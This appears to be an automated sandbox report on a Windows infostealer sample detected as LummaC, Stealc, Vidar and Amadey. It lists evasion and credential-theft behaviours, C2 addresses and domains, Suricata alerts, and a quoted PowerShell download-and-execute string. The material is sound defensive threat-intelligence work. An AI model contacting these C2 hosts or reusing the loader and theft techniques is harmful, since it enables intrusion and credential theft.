Edit tour

Windows Analysis Report
iUKUR1nUyD.exe

Overview

General Information

Sample name:	iUKUR1nUyD.exe renamed because original name is a hash value
Original sample name:	ca7c431abac02cfb1b6b43ed9b3457e3.exe
Analysis ID:	1580380
MD5:	ca7c431abac02cfb1b6b43ed9b3457e3
SHA1:	cc6a65963485ec5fe2b266ed6eae613295c8b736
SHA256:	5a8db8011eec67e7677db586d4ff45cb35f3e2e83dcb6ae5bf8b446666d9aff4
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SIDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

iUKUR1nUyD.exe (PID: 2360 cmdline: "C:\Users\user\Desktop\iUKUR1nUyD.exe" MD5: CA7C431ABAC02CFB1B6B43ED9B3457E3)

KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe (PID: 3924 cmdline: "C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe" MD5: 647D406859985059FC39F0273BABE2EA)

QCOQEKY6WEL3K5GC9727N7E.exe (PID: 6224 cmdline: "C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe" MD5: 18DC0107B3BD2372C4AD86965F823315)

chrome.exe (PID: 6048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5884 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2136,i,13351786285830882789,5096534948754379565,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7956 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2312,i,9912204762408488542,753196695305044942,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 4980 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BAAFBFBAAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BAAFBFBAAK.exe (PID: 3364 cmdline: "C:\Users\user\Documents\BAAFBFBAAK.exe" MD5: 9FA37A32CC4E905BB5BB96735F362FA7)

skotes.exe (PID: 5524 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9FA37A32CC4E905BB5BB96735F362FA7)

msedge.exe (PID: 7996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2324,i,13382879543148318922,11385006065891053408,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 2228 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9FA37A32CC4E905BB5BB96735F362FA7)

skotes.exe (PID: 6416 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9FA37A32CC4E905BB5BB96735F362FA7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["talkynicer.lat", "observerfry.lat", "tentabatte.lat", "shapestickyr.lat", "wordyfindy.lat", "curverpluch.lat", "bashfulacid.lat", "slipperyloo.lat", "manyrestro.lat"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.3329799992.0000000000F71000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.3083424301.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.3112146161.0000000000F71000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.3046365841.0000000000101000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.3046365841.00000000001D4000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.3125756015.0000000000F71000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: iUKUR1nUyD.exe PID: 2360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: iUKUR1nUyD.exe PID: 2360	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.BAAFBFBAAK.exe.c70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x347d8:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x34930:$str02: Azure\.IdentityService 0x34954:$str03: steam_tokens.txt 0x345e8:$str04: "encrypted_key":" 0x34710:$str05: prefs.js 0x34788:$str06: browser: FileZilla 0x3479c:$str07: profile: null 0x347ac:$str08: url: 0x347b4:$str09: login: 0x347bc:$str10: password:
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe", ParentImage: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe, ParentProcessId: 6224, ParentProcessName: QCOQEKY6WEL3K5GC9727N7E.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6048, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:07.378065+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T12:39:09.336351+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T12:39:11.762537+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.199.72	443	TCP
2024-12-24T12:39:13.985897+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.199.72	443	TCP
2024-12-24T12:39:16.348542+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.199.72	443	TCP
2024-12-24T12:39:19.206958+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.199.72	443	TCP
2024-12-24T12:39:21.694742+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	172.67.199.72	443	TCP
2024-12-24T12:39:25.195844+0100	2028371	3	Unknown Traffic	192.168.2.5	49721	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:08.112539+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T12:39:10.115210+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T12:39:25.991254+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49721	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:08.112539+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.199.72	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:10.115210+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.199.72	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:27.451342+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49727	185.215.113.16	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:49.098362+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49773	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:48.977525+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49773	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:49.415837+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49773	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:51.070520+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49773	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:49.644243+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49773	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:19.951806+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	172.67.199.72	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:48.539028+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49773	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:41:06.722337+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49986	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:00.301151+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49993	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:51.762714+0100	2803304	3	Unknown Traffic	192.168.2.5	49773	185.215.113.206	80	TCP
2024-12-24T12:40:18.602521+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:20.547532+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:21.889380+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:23.113164+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:26.629932+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:27.753720+0100	2803304	3	Unknown Traffic	192.168.2.5	49868	185.215.113.206	80	TCP
2024-12-24T12:40:33.851567+0100	2803304	3	Unknown Traffic	192.168.2.5	49909	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T12:39:21.699518+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49711	172.67.199.72	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: iUKUR1nUyD.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://observerfry.lat/api18w(	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpof6(H	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/apip53F	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfox	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/pi(	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpV=3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpon	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllX	Avira URL Cloud: Label: malware
Source: https://observerfry.lat/piX	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllz&	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000013.00000002.3329799992.0000000000F71000.00000040.00000001.01000000.00000011.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: iUKUR1nUyD.exe.2360.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["talkynicer.lat", "observerfry.lat", "tentabatte.lat", "shapestickyr.lat", "wordyfindy.lat", "curverpluch.lat", "bashfulacid.lat", "slipperyloo.lat", "manyrestro.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: iUKUR1nUyD.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: iUKUR1nUyD.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 07
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 01
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 20
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: 25
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetProcAddress
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: LoadLibraryA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: lstrcatA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: OpenEventA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CreateEventA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: CloseHandle
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: Sleep
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: VirtualFree
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetSystemInfo
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: VirtualAlloc
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: HeapAlloc
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetComputerNameA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: lstrcpyA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetProcessHeap
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetCurrentProcess
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: lstrlenA
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: ExitProcess
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: GetSystemTime
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: advapi32.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: gdi32.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: user32.dll
Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack	String decryptor: crypt32.dll
